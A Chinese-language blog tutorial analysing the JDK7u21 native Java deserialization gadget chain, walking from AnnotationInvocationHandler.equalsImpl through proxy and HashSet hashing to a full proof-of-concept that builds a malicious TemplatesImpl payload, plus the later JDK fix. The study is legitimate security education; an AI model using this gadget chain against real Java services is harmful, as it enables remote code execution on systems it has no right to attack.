Java篇之JDK7u21

JDK7u21

好久没写博客了哇,最近放暑假在实习,平时没啥时间写,周末抽时间来写写;Java的原生类反序列化也是一个老考点了,很早之前就简单的学过,只不过那时候没系统总结,过段时间之后就又忘了,这次把它补上;只不过这个漏洞吧,我感觉主要是学它的思路,实际上能用的地儿挺少的,因为它JDK版本要求必须在7u21之前,这其实是挺苛刻的

前面我们学的一些反序列化漏洞,都需要靠第三方的一些依赖,那么假如在没有第三方依赖的情况下,Java自身是否还有反序列化漏洞存在呢?答案肯定是有的,它就是我们今天要学的漏洞,JDK7u21原生反序列化利用链

1.链尾

分析反序列化的链子,我还是更喜欢从后往前分析,也就是说从链尾执行命令开始,一直倒推到最前面;这里我们要聚焦于一个类,它就是sun.reflect.annotation.AnnotationInvocationHandler,其实这个类我们在前面分析cc1链子的时候是用到了的,接下来我们给出它比较关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();//获取所有方法
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);//执行方法的地方
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
}

代码有点儿长,但是逻辑是非常简单的,在equalsImpl方法中调用了this.getMemberMethods方法,在getMemberMethods方法中获取了this.type类中的所有方法并以数组的形式返回;然后循环遍历,利用var5.invoke,依次执行了每个方法;那么我们假设把this.type设置成一个Templates对象,那么它会遍历执行里面的所有的方法,自然就会执行newTransformer()getOutputProperties()方法,那么就会触发我们前面所讲的利用链,进而执行命令;这便是JDK7u21的核心原理了

2.调用equalsImpl

那么既然进入了equalsImpl方法就能触发调用链,那么现在的问题就是如何调用equalsImpl方法了,它是一个私有方法,我们在本类中找找,发现在这个类中的invoke方法中有调用到,看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
//......
}
}
}

image.png

invoke方法,学过动态代理的朋友应该对这个方法太熟了,因为AnnotationInvocationHandler类是实现了InvocationHandler这个接口的,也就是说它可以作为一个动态代理类,那么当调用实现类对象的任意方法时,它都会进入到动态代理类对象中的invoke方法里面;执行invoke时,第一个参数是这个proxy对象,第二个参数是被执行的方法名,第三个参数是执行该方法时的参数列表;那么当调用的方法名为equals时,就会进入到if语句中,从而调用equalsImpl方法

3.调用equals

所以说现在的问题就是怎么调用equals了,我们先来简单聊聊equals方法,我感觉任意的java对象都有equals,通常用于比较两个对象是否相同;在开始讲具体哪里调用equals方法之前,我们先来聊聊Java中的两种数据结构:HashMapHashSet

HashMapHashMap是一个散列表,也就是数据结构里面的哈希表,它里面存储的内容是键值对(key-value)映射;哈希表是由数组+链表来实现的,数组的索引由哈希表的key.hashcode()经过计算得到;也就是说当两对键值对,它们键名的hashcode()相同时,数组的索引也会相同,就会排到同一个链表后面,如下图所示:

image.png

然后来看HashSetHashSet是基于HashMap来实现的一个集合,是一个不允许有重复元素的集合,既然它都不允许重复,那么在添加对象的时候,就一定会涉及到比较操作,而它比较的方法,就是将对象保存在HashMapkey处来去重,看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT); // 看这里,将对象放入一个HashMap的key处
}
}
}

然后再来看HashMap中的put方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
{
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//这里触发equals
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}
}

可以看到,在put方法中确实可以触发equals,但是,触发这个equals似乎是有条件的,也就是e.hash == hash成立以及(k = e.key) == key不成立,也就是说这两个对象的hash值要相等且这两个对象不能相等,这样才能触发进key.equals(k)

所以说我们接下来的任务,就是让proxy对象的hash值,等于TemplateImpl对象的hash值

4.如何构造

要想让这两个对象的hash值相同,我们首先的先看看hash值是如何计算的:

1
2
3
4
5
6
final int hash(Object k) {
int h = 0;
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

里面只有一个变量,那就是k.hashCode(),除此之外其它都是一样的,也就是说hash()的计算结果也就取决于k.hashCode()的结果,TemplateImpl中的hashcode()方法每次运行都会发生变化,我们没办法操作,于是乎就只有看看proxy中的hashcode()方法,proxy对象是我们利用动态代理创建的实现类,那么调用它的任何方法都会进入到AnnotationInvocationHandler#invoke中,hashcode()当然也不例外,看看前面的代码,它会调入到this.hashCodeImpl()中,看看这个方法:

1
2
3
4
5
6
7
8
9
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext();
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}

解析一下代码,也就是遍历整个Map中每个key和每个value,然后分别计算(127 * key.hashCode()) ^ value.hashCode(),并进行求和;那么假如Map中只有一对键值对,那也就只用执行一次,也就不存在什么遍历了,那么该式就简化为(127 * key.hashCode()) ^ value.hashCode(),那么我们假如key.hashCode()为0,那么任何数异或0都为它本身,那么该式又简化为value.hashcode();我们惊奇的发现,这个对象的hashCode,也就等于value.hashcode(),那么我们把value设置成前面那个TemplateImpl对象,proxy对象的hash值不就等于TemplateImpl对象了?不就搞定了吗?!也就是说这个HashMap,键是hashCode()为0的字符串,值是这个TemplateImpl对象

现在我们的目标就是找到一个hashcode为0的字符串,写个脚本遍历就行:

1
2
3
4
5
6
7
8
9
10
public class test111 {
public static void main(String[] args) {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
}

image.png

跑出来一个字符串:f5a5a608,就它了

5.思路梳理及POC构造

前面讲了那么多,现在差不多再把整个思路梳理一遍:

  1. 我们首先生成恶意TemplateImpl对象 ,这个对象是为了遍历它的所有方法并执行,以至于会执行到newTransformer()getOutputProperties()方法,进而触发调用链实现命令执行
  2. 然后我们实例化AnnotationInvocationHandler对象,由于是内部类我们需要用反射来获取,然后这个对象的type属性是一个TemplateImpl类,它的memberValues属性是一个MapMap只有一个keyvaluekey是字符串f5a5a608value是前面生成的恶意TemplateImpl对象;这个类也就是我们常说的代理类
  3. 然后对这个 AnnotationInvocationHandler 对象利用Proxy.newProxyInstance动态生成实现类,生成proxy对象
  4. 最后实例化一个HashSet,这个HashSet有两个元素,分别是:恶意TemplateImpl对象和proxy对象,然后将HashSet对象进行序列化和反序列化即可

照着这个思路,我们可以很轻松的写出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package java7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;


public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
return barr.toByteArray();

}
public static void unserialize(byte[] barr) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr));
ois.readObject();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加f5a5a608为key,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "clyyy");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造实现类对象
Templates proxy = (Templates) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();

set.add(templates);
set.add(proxy);//这个顺序非常重要,不能反着来哈

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

byte []o = serialize(set);

unserialize(o);
}
}

image.png

成功,看看反序列化触发代码执行的流程:

首先是触发HashSetreadObject方法,其中使用HashMapkey做去重,将我们的TemplatesImpl对象和proxy对象放到key处,去重时计算这两个元素的hashCode() ,由于我们的构造,这两个元素的hashcode()相等,所以说进而触发proxyequals()方法,进入到代理类的对象的invoke方法中,然后调用equalsImpl()方法,在equalsImpl() 中遍历this.type中的每个方法并调用,由于我们的 this.typeTemplatesImpl类,所以触发了newTransform()getOutputProperties()方法,进而触发任意代码执行

其实这条链子不太难理解,如果把cc1中的类理清楚,再加上搞清楚动态代理的话,很快就能理解的啦,最后看看它的修复思路吧

6.修复思路

之所以7U21能使用,最关键的一点就是由于sun.reflect.annotation.AnnotationInvocationHandler中的this.type属性没有做限制,导致可以是任何对象,但其实在readObject函数中,原本有一个对this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没 有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程;在新版中,将 return; 修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); ,这样,反序列化时会出现一个异常,导致整个过程停止,我们就不能将this.type属性设置成我们前面说的恶意TemplatesImpl对象了

只不过p神也说了,这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20;等p神的文章咯

参考文章:

https://y4tacker.blog.csdn.net/article/details/119211849

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信